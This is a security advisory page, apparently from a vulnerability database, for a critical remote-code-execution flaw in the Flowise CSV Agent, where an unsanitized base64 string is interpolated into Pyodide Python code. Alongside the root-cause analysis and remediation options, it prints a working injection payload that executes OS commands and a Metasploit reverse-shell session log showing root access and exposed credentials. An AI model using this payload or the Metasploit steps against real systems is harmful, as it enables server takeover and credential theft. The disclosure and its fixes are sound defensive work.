critical

CVE-2026-69255

npm · flowise

Summary

Flowise: CSV Agent Remote Code Execution via Pyodide Code Injection — Root Shell Verified

Severity
critical
EPSS
0.6% (p48)
CWE
CWE-94
Also known as
GHSA-vmv7-4m6c-3cg5#flowise
Published
2026-08-04
Updated
2026-08-04

Advisory details

UPDATE 2026-05-20: Full RCE as root VERIFIED

This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.

Verified Exploit Chain

  1. Python code injection via base64_string = "${base64String}" (CSVAgent.ts line 161)
  2. Pyodide js bridge provides access to the host Node.js process
  3. process.mainModule.constructor._load('child_process') loads child_process (bypasses ESM require restriction)
  4. .execSync('CMD') executes arbitrary OS commands as root (PID 1 in container)

Working RCE Payload

";import js;e=js.globalThis.eval;e("process.mainModule.constructor._load('child_process').execSync('id')");#

Constraint: No commas allowed in payload — csvFile.split(',') splits on all commas.

Metasploit Session Proof

msf > use exploit/multi/http/flowise_csv_agent_rce
msf > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
msf > exploit

[+] Authentication successful
[+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4
[*] Sending stage (3090404 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:41422)

meterpreter > getuid
Server username: root

meterpreter > sysinfo
Computer     : cbce3fb352b7
OS           : Linux 6.8.0-111-generic
Architecture : x64
Meterpreter  : x64/linux

meterpreter > shell
# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

# uname -a
Linux cbce3fb352b7 6.8.0-111-generic x86_64 Linux

Additional Verified Impact

Credential Theft:

FLOWISE_PASSWORD=admin123
DATABASE_PATH=/root/.flowise
APIKEY_PATH=...

Arbitrary File Read via process.binding('fs').readFileUtf8('/etc/hostname') → cbce3fb352b7

Server DoS — certain native binding calls (spawn_sync) crash the Node.js process entirely.

CVSS v3.1: 9.9 CRITICAL

AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Original Report (below)

Vulnerable Code

File: packages/components/nodes/agents/CSVAgent/CSVAgent.ts

Lines 133-138 — Unsanitized string extraction from data URI via file.split(',').pop().pop() — no validation on content.

Lines 155-171 — Direct interpolation into executable Python code: base64_string = "${base64String}" is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context.

validatePythonCodeForDataFrame() denylist is only applied to LLM-generated code at line 198, NOT to this initial code block at line 171.

Remediation

Option 1 (Best): Use pyodide.globals.set('base64_string', base64String) instead of string interpolation

Option 2: Validate base64 before interpolation — reject if not matching /^[A-Za-z0-9+/=]*$/

Option 3: Escape special characters (", \n, \r, \\) before interpolation

Related CVEs

Disclosure: Identified with AI assistance (Claude Code). Analysis, verification, and Metasploit module by S9S Bounty-LAB / Kamal Sentassi.

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.